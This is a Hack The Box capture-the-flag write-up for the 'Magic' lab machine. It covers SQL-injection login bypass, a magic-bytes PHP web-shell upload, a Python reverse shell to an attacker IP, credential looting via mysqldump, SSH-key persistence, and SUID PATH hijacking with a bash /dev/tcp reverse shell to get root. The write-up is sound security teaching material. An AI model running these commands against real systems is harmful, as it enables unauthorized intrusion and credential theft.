HTB Writeup | Magic

Rating: Meduim
My Rating: Easy
Operating System: Linux


Bypass a login page with SQL injection then bypass an upload restriction using "magic bytes" to upload a PHP file. We can then use the uploaded PHP code to remotely execute commands on the machine and get a reverse shell. From there, enumerate the web server source code and find credentials to a database that you can dump to find more credentials to privilege escalate. Finally, abuse SUID to execute commands as root and gain a shell.


Using Nmap to enumerate open ports gives the following results:

# Nmap 7.80 scan initiated Fri May  8 14:54:17 2020 as: nmap -sCV -oN magic.nmap -v
Increasing send delay for from 0 to 5 due to 67 out of 221 dropped probes since last increase.
Increasing send delay for from 5 to 10 due to 39 out of 128 dropped probes since last increase.
Nmap scan report for
Host is up (0.91s latency).
Not shown: 998 closed ports
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 06:d4:89:bf:51:f7:fc:0c:f9:08:5e:97:63:64:8d:ca (RSA)
|   256 11:a6:92:98:ce:35:40:c7:29:09:4f:6c:2d:74:aa:66 (ECDSA)
|_  256 71:05:99:1f:a8:1b:14:d6:03:85:53:f8:78:8e:cb:88 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Magic Portfolio
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri May  8 14:57:40 2020 -- 1 IP address (1 host up) scanned in 202.89 seconds

Two ports to work with. OpenSSH (port 22) is up to date so we can disregard that for now. There also seems to be an Apache server running (port 80), the banner tells us it is an Ubuntu machine. Let’s poke at that.


Apache Server

The landing page looks like it just displays images, maybe there is an upload function somewhere?

Landing page

At the bottom left it looks like there is a login page, let’s check it out.

Login page

Admin admin? Not this time. Second thing that comes to my mind is SQL injection.

SQL injection


Login bypass

Bypassed! Before trying to upload files, let’s try to see if we can find out where exactly they are being uploaded. We will use gobuster to bust directories.

root@crab:~# gobuster dir -u -w /opt/wordlists/dirb/common.txt -o bust/root-common-80.out -t 10
Gobuster v3.0.1                                                                                                                          
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)                                                                          
[+] Url:                                                                                                    
[+] Threads:        10                                                                                                                   
[+] Wordlist:       /opt/wordlists/dirb/common.txt                                                                                       
[+] Status codes:   200,204,301,302,307,401,403                                                                                          
[+] User Agent:     gobuster/3.0.1                                                                                                       
[+] Timeout:        10s                                                                                                                  
2020/08/21 15:20:49 Starting gobuster                                                                                                    
/.hta (Status: 403)                                                 
/.htpasswd (Status: 403)
/.sh_history (Status: 403)                                          
/.htaccess (Status: 403)                                            
/assets (Status: 301)
/images (Status: 301)                                                                                                                    
/index.php (Status: 200)

/images is most likely where uploaded images would be, let’s bust that one as well.

root@crab:~# gobuster dir -u -w /opt/wordlists/dirb/common.txt -o bust/images-common-80.out -t 10
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Url:  
[+] Threads:        10
[+] Wordlist:       /opt/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
2020/08/21 15:32:56 Starting gobuster
/.htpasswd (Status: 403)
/.hta (Status: 403)
/.htaccess (Status: 403)
/.sh_history (Status: 403)
/uploads (Status: 301)

/uploads looks promising. We will confirm it later when we upload any files.

Gaining access


Let’s talk a little about magic bytes, which are essentially just bytes at the beginning of files that act as a signature allowing software to recognize the file type.
In this case, we will be uploading enough bytes of an image followed by malicous PHP code. When the server tries to verify if our uploaded file is an image using the “magic bytes”, it will succeed. Let’s put it to the test with the following image.

Magic image

Editing the image in vim allows us to remove any unneeded bytes and keep the “magic bytes” followed by our malicous PHP code. Note the code breakdown of the PHP code can be found here.

Magic image code

One more step. We need to save it with a .php extension so that the server can parse it as PHP code.

root@crab:~# mv shell.jpg shell.jpg.php

All set up! Lets upload and try execute it.

Magic image

Remember the path to uploaded images is: ‘/images/uploads/’
If we send a request to that path, specify our uploaded image name and pass the command we want to execute it should execute on the remote machine and return an output.

root@crab:~# curl ""                                
        %-(0%()(C  ((((((((((((((((((((((((((((((((((((((((((((((((((["
                                                                      x{'t< =t< =t=t=#< =t< =t=#< =t< =t< =t< =t<"t< t=Q=p=t#^10C@00C0C@4


 &&   LC=4Q
b z_`S `
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Nice! Command execution successful. We can even list our current directory and see images that have been uploaded. Note %20 is a space URL encoded so that the server can understand our request.

root@crab:~# curl ""
        %-(0%()(C  ((((((((((((((((((((((((((((((((((((((((((((((((((["
                                                                      x{'t< =t< =t=t=#< =t< =t=#< =t< =t< =t< =t<"t< t=Q=p=t#^10C@00C0C@4


 &&   LC=4Q
b z_`S `
total 8544
drwxr-xr-x 2 www-data www-data    4096 Aug 21 12:50 .
drwxr-xr-x 4 www-data www-data    4096 Apr 14 05:04 ..
-rw-r--r-- 1 www-data www-data   49110 Aug 21 05:36 5'.jpeg
-rw-r--r-- 1 www-data www-data   49110 Aug 21 04:46 5.jpeg
-rw-r--r-- 1 www-data www-data 5289209 Oct 22  2019 7.jpg
-rw-r--r-- 1 www-data www-data   66943 Aug 21 08:33 cat01.jpg
-rw-r--r-- 1 www-data www-data 1455770 Oct 22  2019 giphy.gif

This is an ugly shell, so let’s get a proper reverse shell. First, we’ll verify Python is installed on the machine.

root@crab:~# curl ""
        %-(0%()(C  ((((((((((((((((((((((((((((((((((((((((((((((((((["
                                                                      x{'t< =t< =t=t=#< =t< =t=#< =t< =t< =t< =t<"t< t=Q=p=t#^10C@00C0C@4


 &&   LC=4Q
b z_`S `

It is. We can use the Python reverse shell found here. Don’t forget to set up your listener before exection.

root@crab:~# rlwrap nc -lnvp 53
listening on [any] 53 ...

Note I have URL encoded the request to avoid any bad characters.

root@crab:~/Desktop/hax/box/magic# curl "'import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29%3Bs.connect%28%28%2210.10.15.112%22%2C53%29%29%3Bos.dup2%28s.fileno%28%29%2C0%29%3B%20os.dup2%28s.fileno%28%29%2C1%29%3B%20os.dup2%28s.fileno%28%29%2C2%29%3Bp%3Dsubprocess.call%28%5B%22%2Fbin%2Fsh%22%2C%22-i%22%5D%29%3B'"

Got a shell! We can ‘upgrade’ it using the pty module.

connect to [] from (UNKNOWN) [] 45136
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ python3 -c 'import pty; pty.spawn("/bin/bash")'



Remember the SQL injection we did? There’s bound to be some sort of database credentials lying around since we can now read the back-end code.

www-data@ubuntu:/var/www/Magic$ ls
assets  db.php5  dump.sql  images  index.php  login.php  logout.php  upload.php
www-data@ubuntu:/var/www/Magic$ cat db.php5
class Database   
    private static $dbName = 'Magic' ;                                
    private static $dbHost = 'localhost' ;                                                                                                   
    private static $dbUsername = 'theseus';                                                                                                  
    private static $dbUserPassword = 'iamkingtheseus';                                                                                       

    private static $cont  = null;                                                                                                            

    public function __construct() {
        die('Init function is not allowed');

Credentials! We can try logging in as theseus now.

www-data@ubuntu:/var/www/Magic$ su theseus
Password: iamkingtheseus

su: Authentication failure

Didn’t work. Conveniently, the machine has mysqldump installed; maybe we can try to dump the database and leak more credentials using the current credentials we have.

www-data@ubuntu:/var/www/Magic$ which mysqldump
www-data@ubuntu:/var/www/Magic$ mysqldump -u theseus Magic -p
Enter password: iamkingtheseus
/*!40000 ALTER TABLE `login` DISABLE KEYS */;
INSERT INTO `login` VALUES (1,'admin','Th3s3usW4sK1ng');
/*!40000 ALTER TABLE `login` ENABLE KEYS */;

More credentials! Let’s try login as theseus with this password now.

www-data@ubuntu:/var/www/Magic$ su theseus
Password: Th3s3usW4sK1ng

theseus@ubuntu:/var/www/Magic$ id
uid=1000(theseus) gid=1000(theseus) groups=1000(theseus),100(users)

Nice, it worked! On to root.

theseus  ::  Th3s3usW4sK1ng


First things first, let’s execute linPEAS.sh and find privilege escalation suggestions. On my attacker machine, I’ll host a simple Python HTTP server that contains linPEAS.sh.

root@crab:~# python3 -m http.server 80
Serving HTTP on port 80 ( ...

Then, on the victim machine, I will download and execute it. The linPEAS output returns useful information, but the following files that have SUID are eye-catching.

theseus@ubuntu:~$ cd /dev/shm && wget && sh linpeas.sh
====================================( Interesting Files )=====================================                                               
[+] SUID - Check easy privesc, exploits and write perms                                                                                      
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#commands-with-sudo-and-suid-commands
/bin/mount              --->    Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8

Let’s understand SUID before proceeding. SUID (Set owner User ID upon execution), as the name suggests, allows a user to execute the program with the owner of the program’s permissions.
In our case, sysinfo is owned by root making this a target to exploit for privilege escalation.

theseus@ubuntu:/dev/shm$ ls -l /bin/sysinfo
ls -l /bin/sysinfo
-rwsr-x--- 1 root users 22040 Oct 21  2019 /bin/sysinfo

We can try to run sysinfo and see what exactly is going on in the background using the handy pspy tool. To do this, I’m going to get a separate shell and monitor what happens from there. I will take advantage of OpenSSH and add my public SSH key to authorized keys.

theseus@ubuntu:~$ echo -n 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDC9uq6FFfKxM+wOxsjMuEjAk2s8FHnIrj9OeSFGOoCKsozUf6U6duevJyDyPAt5JZ3wtMu/Kt3b+yLEJ86RFyhsS2os8e3ksCrTNORTd6mwcrp+Fr+pJLmCjhjBankVBB3xG35AMTQ0pFSOdGUnZySwvNM8XwECzjnuxuISRTHJrRr3/a3KIRvIoC8hgKZfwH/qoJDXpo+uB97BBO6HRkaGhVmfQ3kxmy79J4bFG74/JPb8yZ5jjYBNlKZwkkTpHrVW+tLh7W/LQBZ4aLbv4LJW+2HOJhyuYhjn7Yp3btiW1eLgkyYapjLxP2u2pIpIyn/j0ksasTa2R0QyR21hVYyPaBfFhIOg3o6QDpkI6K98tUN+X1I13Iihc12NK/ypHT/ivmdQRBlF9baWTYRW0ODP31+UWdDiG1YgnHbZX8RecquZG3EYq1RnVpEUgDE/uLGroOYn3snWQlloDtVNNn0M66IoeBmJ6BOA0ZcC4qZVOmA0hwm4Rig8Ub6GOl25+8=' ~/.ssh/>> authorized_keys

Then on my attacking machine i’ll just log in, copy pspy like before, and run it.

root@crab:~/Desktop/hax/box/magic# ssh theseus@
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 5.3.0-42-generic x86_64)

Last login: Fri Aug 21 14:30:47 2020 from

theseus@ubuntu:/dev/shm$ cd /dev/shm && wget                                                                                            
--2020-08-21 14:34:45--                                                                                          
Connecting to connected.                                                                                                  HTTP request sent, awaiting response... 200 OK                      
Length: 3078592 (2.9M) [application/octet-stream]                                                                                            
Saving to: ‘pspy64’                                                                                                                          

pspy64                              100%[================================================================>]   2.94M   620KB/s    in 5.5s     

2020-08-21 14:34:50 (544 KB/s) - ‘pspy64’ saved [3078592/3078592]                                                                            

theseus@ubuntu:/dev/shm$ chmod +x pspy64                                                                                                            
theseus@ubuntu:/dev/shm$ ./pspy64   

Now that pspy64 is running let’s run sysinfo on our reverse shell and monitor what runs in the back.

2020/08/21 14:51:23 CMD: UID=0    PID=8571   | sysinfo
2020/08/21 14:51:23 CMD: UID=0    PID=8573   | lshw -short
2020/08/21 14:51:23 CMD: UID=0    PID=8572   | sh -c lshw -short
2020/08/21 14:51:24 CMD: UID=0    PID=8578   | fdisk -l
2020/08/21 14:51:24 CMD: UID=0    PID=8577   | sh -c fdisk -l

Looking at the processes that were executed by sysinfo it looks like it is executing ‘lshw’ in the background. Theoretically, we could create our own ‘lshw’ file with arbritrary code in it and add it to the begining of our path so that it executes first.
This time I will use a simple bash reverse shell.

theseus@ubuntu:/dev/shm$ cd /tmp
theseus@ubuntu:/tmp$ echo '#!/bin/bash' > lshw
theseus@ubuntu:/tmp$ echo 'bash -i >& /dev/tcp/ 0>&1' >> lshw

Export my path making sure my current directory containing the lshw executable is at the start.

theseus@ubuntu:/tmp$ PATH=.:$PATH
theseus@ubuntu:/tmp$ echo $PATH

Set up the listener on my attacking machine again.

root@crab:~# rlwrap nc -lnvp 80
listening on [any] 80 ...

And finally, execute sysinfo once more.

theseus@ubuntu:/tmp$ chmod +x lshw
theseus@ubuntu:/tmp$ sysinfo

Got root shell!

connect to [] from (UNKNOWN) [] 45758
root@ubuntu:/tmp# whoami && id
uid=0(root) gid=0(root) groups=0(root),100(users),1000(theseus)
root@ubuntu:/tmp# wc -c /root/root.txt
33 /root/root.txt


Informational machine that shows you how to bypass specific file upload restrictions and how to misuse SUID to compromise a machine.